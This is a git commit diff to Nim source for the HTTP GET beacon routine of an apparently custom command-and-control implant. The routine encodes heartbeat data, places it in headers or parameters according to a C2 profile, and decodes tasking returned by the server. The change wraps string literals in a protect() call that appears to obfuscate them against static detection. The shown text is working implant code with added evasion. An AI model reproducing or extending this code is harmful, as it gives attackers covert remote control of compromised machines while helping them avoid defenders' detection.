Removed POST header check interfering with C2 profile.

This commit is contained in:
Jakob Friedl
2025-10-23 17:45:13 +02:00
parent 432f37755c
commit 7326cc10b6
4 changed files with 21 additions and 23 deletions

View File

@@ -8,10 +8,10 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
of "base64":
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
of protect("base64"):
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of "none":
of protect("none"):
heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile
@@ -30,14 +30,14 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of "header":
of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of "parameter":
of protect("parameter"):
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of "uri":
of protect("uri"):
discard
of "body":
of protect("body"):
discard
else:
discard
@@ -63,15 +63,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
of "base64":
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
of protect("base64"):
return decode(encResponse)
of "none":
of protect("none"):
return encResponse
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] ", err.msg
print "[-] ", err.msg
finally:
client.close()